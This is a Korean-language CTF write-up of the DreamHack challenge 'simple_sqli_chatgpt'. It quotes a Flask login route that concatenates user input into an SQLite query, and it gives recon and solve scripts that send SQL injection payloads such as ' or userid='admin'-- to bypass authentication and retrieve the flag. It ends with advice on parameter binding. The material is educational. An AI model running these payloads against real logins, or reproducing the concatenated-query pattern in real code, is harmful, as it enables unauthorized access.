문제: DreamHack — simple_sqli_chatgpt 분류: Web 난이도: 🥉 Bronze 2 FLAG:
DH{chatGPT_told_me_a_lullaby}
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | simple_sqli_chatgpt |
| 난이도 | 🥉 Bronze 2 |
| 분류 | Web (Flask + SQLite) |
| 제공 파일 / 서버 | app.py / http://host3.dreamhack.games:<port>/ (인스턴스마다 변경) |
| 핵심 취약점 / 기법 | userlevel 문자열 주입 → admin 행만 반환시켜 인증 우회 |
이름 그대로 simple_sqli의 변종이다. 원본은 userid/userpassword 두 칸을 주입점으로 쓰는데, 이 문제는 로그인 폼에 입력칸이 userlevel 딱 하나다. 문제 이름의 chatgpt는 "AI한테 시켜 짠 로그인 코드"라는 농담 같은데, 결국 입력을 쿼리에 그대로 이어 붙이는 고전적인 실수가 그대로 남아 있다.
화면은 원본 simple_sqli와 똑같이 단출하다. 로그인 링크 하나뿐.

🧩 배경 — 입력칸 하나가 쿼리를 만드는 방식
서버는 Flask + 표준 라이브러리 sqlite3다. 첫 실행 때 users 테이블을 만들고 계정 둘을 넣는다. 원본과 달리 컬럼이 셋이다 — userid, userpassword, 그리고 userlevel.
db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values '
f'("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')여기서 눈여겨볼 건 두 계정의 userlevel이 모두 0이라는 점이다. admin의 비밀번호는 os.urandom(16)을 hex로 찍은 32자라 매 인스턴스마다 새로 뽑히고 어디에도 노출되지 않는다. 그러니 비밀번호로 들어가는 길은 처음부터 닫혀 있다.
로그인 라우트는 폼에서 받은 userlevel을 검증 없이 쿼리에 끼워 넣는다.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'f"...userlevel='{userlevel}'" — 작은따옴표 사이에 입력이 그대로 들어간다. 이스케이프가 없으니 ' 한 글자로 문자열을 닫고 SQL을 이어 쓸 수 있다.
플래그 조건은 두 개가 동시에 참이어야 한다.
res[0] == 'admin'— 반환된 행의 첫 컬럼(userid)이 adminres[2] == 0— 셋째 컬럼(userlevel)이 0
admin의 userlevel이 어차피 0이니, admin 행만 반환시키면 두 조건이 한 번에 충족된다. 결국 이 문제는 "admin 행을 정확히 골라내는 것"으로 압축된다.
여기서 query_db의 동작이 중요하다.
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rvone=True가 기본이라 fetchall() 결과 중 첫 행(rv[0])만 돌려준다. 여러 행이 매치돼도 첫 행 하나로 잘린다 — 이게 함정의 씨앗이다.
🔬 코드 정찰 — 직접 찔러보기
로그인 폼부터 봤다. userlevel 한 칸이 전부다. placeholder까지 userlevel이라 적혀 있다.

폼만 보면 권한 등급 같은 숫자를 기대하는 것처럼 생겼다. 그래서 평범하게 0을 넣어봤다.

응답이 입력에 따라 어떻게 갈리는지, 정상값·존재하지 않는 값·따옴표·주입을 한 번에 찔러봤다.
# recon.py — /login 이 userlevel 입력을 어떻게 처리하는지 직접 찔러본다.
import requests
URL = "http://host3.dreamhack.games:12970/login"
def post(userlevel):
r = requests.post(URL, data={"userlevel": userlevel}, timeout=10)
return r.status_code, r.text.strip()
def label(code, body):
if "flag is" in body:
return "admin → FLAG"
if 'hello guest' in body:
return "guest (첫 행)"
if "wrong" in body:
return "wrong (행 없음)"
return f"HTTP {code} / {body[:40]!r}"
for ul in ["0", "1", "'", "' or 1=1-- ", "' or userid='admin'-- "]:
code, body = post(ul)
print(f"userlevel={ul!r:26} -> {label(code, body)}")
다섯 줄이 다 말이 된다.
-
0→ guest. 둘 다 userlevel 0이라 매치되는데, 첫 행 guest가 잡힌다. -
1→ wrong. userlevel 1인 계정은 없으니 행이 없다. -
'→ HTTP 500. 따옴표 하나가 문자열을 닫아 SQL 구문이 깨졌다. 입력이 쿼리에 날것으로 들어간다는 확실한 신호다. -
' or 1=1--→ 여기서 또 guest가 나온다(아래 삽질 참고). -
' or userid='admin'--→ 드디어 admin → FLAG.
500 에러로 주입 가능성을 확인했고, 목표도 분명해졌다. admin 행 하나만 반환시키면 된다.
🐛 삽질 — or 1=1은 여전히 guest를 데려온다
SQLi 인증 우회 하면 반사적으로 ' or 1=1 -- 가 떠오른다. 그래서 먼저 그걸 넣었는데, 돌아온 건 admin이 아니라 guest였다.
▶🐛 삽질 — 왜 or 1=1 로는 admin이 안 잡히나
조립되는 쿼리는 이렇다.
select * from users where userlevel='' or 1=1-- '1=1이 항상 참이라 WHERE 전체가 참이 되고, guest와 admin 두 행이 모두 매치된다. fetchall()은 입력 순서대로 [guest, admin]을 돌려주고, query_db는 one=True라 rv[0], 즉 먼저 들어간 guest를 집는다.
recon 출력에서도 0과 ' or 1=1-- 이 똑같이 guest (첫 행)로 찍힌 게 이 때문이다.
userlevel='0' -> guest (첫 행)
userlevel="' or 1=1-- " -> guest (첫 행)비밀번호 검사는 우회했지만 정작 admin은 두 번째 행이라 잘려나간 셈이다. 이 문제의 핵심은 "로그인을 뚫는다"가 아니라 "admin 행을 정확히 고른다"에 있다.
그렇다면 admin을 명시적으로 지정하고 나머지를 지우는 게 제일 깔끔하다.
💣 핵심 — admin 행 '하나만' 남기기
userlevel에 ' or userid='admin'-- 를 넣는다. 앞의 '로 userlevel 문자열을 닫고, or userid='admin'으로 조건을 admin에 못 박은 뒤, -- 로 뒤따라오는 따옴표를 주석 처리한다.
조립된 실제 쿼리는 이렇게 된다.
select * from users where userlevel='' or userid='admin'-- 'userlevel=''는 어느 행도 만족하지 않으니(둘 다 0), 살아남는 건 userid='admin' 하나뿐이다. admin 행만 반환되고 res[0]은 admin, res[2]는 0 — 두 조건이 동시에 충족된다.
같은 입력이라도 어디를 매치시키느냐에 따라 첫 행이 갈린다. 그림으로 정리하면 이렇다.
![클릭하여 확대 입력별 매치되는 행과 res[0]이 무엇이 되는지](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-simple-sqli-chatgpt-writeup%2F08_row_select.png&w=3840&q=75)
0과 or 1=1은 두 행을 다 끌어와 첫 행 guest를 집고, or userid='admin'만이 admin 행 하나로 좁혀 res[0]을 admin으로 만든다.
🎯 익스플로잇 — 폼에 그대로 넣기
특별한 도구 없이 로그인 폼에 바로 넣어도 된다. userlevel 칸에 ' or userid='admin'-- 를 그대로 입력한다.

Login을 누르면 admin으로 인증되어, 응답이 alert 스크립트가 아니라 플래그 평문으로 그대로 찍힌다.

🚀 Full Exploit
폼 입력과 똑같은 일을 스크립트로 옮기면 이렇다. 응답에서 플래그만 뽑아낸다.
# solve.py — userlevel SQLi 로 admin 행만 반환시켜 FLAG 회수
import re
import requests
URL = "http://host3.dreamhack.games:12970/login"
# userlevel 문자열을 닫고 admin 행을 OR 로 끌어온 뒤, 뒤따르는 따옴표는 -- 로 주석 처리
payload = {"userlevel": "' or userid='admin'-- "}
r = requests.post(URL, data=payload, timeout=10)
print("[*] payload userlevel =", repr(payload["userlevel"]))
print("[*] response =", r.text.strip())
m = re.search(r"DH\{[^}]+\}", r.text)
print("[+] FLAG =", m.group(0) if m else "(not found)")
DH{chatGPT_told_me_a_lullaby}📝 정리
문자열로 쿼리를 만들면 입력칸이 하나여도 그게 통째로 구멍이다.
이 문제는 폼에 userlevel 한 칸만 남겨 주입점을 줄인 것처럼 보이지만, 그 한 값이 userlevel='{userlevel}'로 따옴표째 박히는 한 결과는 원본 simple_sqli와 다르지 않다. 막는 방법도 같다 — Prepared Statement(파라미터 바인딩). execute("... where userlevel=?", (userlevel,))로 넘기면 입력은 항상 값으로만 취급되어 따옴표를 아무리 넣어도 구문이 되지 않는다.
여러 행이 매치될 때 "첫 행"에 권한을 거는 구조도 위험하다.
query_db(..., one=True)가 fetchall()[0]만 돌려주는 탓에, 조건을 느슨하게 주면 엉뚱하게 먼저 들어간 guest가 잡힌다. 공격자 입장에선 이게 우회를 한 단계 더 요구하는 장애물일 뿐이고, 방어 입장에서도 "행이 하나라도 있으면 통과" 같은 판정은 의도치 않은 행을 인증으로 받아들일 여지를 남긴다.
비밀번호를 랜덤으로 숨겨도 권한 판정이 쿼리 한 방에 묶여 있으면 소용없다.
admin 비밀번호를 os.urandom으로 가린 건 좋은 발상이지만, 인증과 권한을 SELECT 한 줄로 처리하는 구조 자체가 약하다. 비밀번호는 해시로 검증하고, 권한은 인증이 끝난 뒤 세션에서 별도로 다루는 게 맞다. simple_sqli가 가리키는 정답은 입력 필터가 아니라, 입력을 쿼리에 문자열로 이어 붙이는 그 한 줄을 바인딩으로 바꾸는 것이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…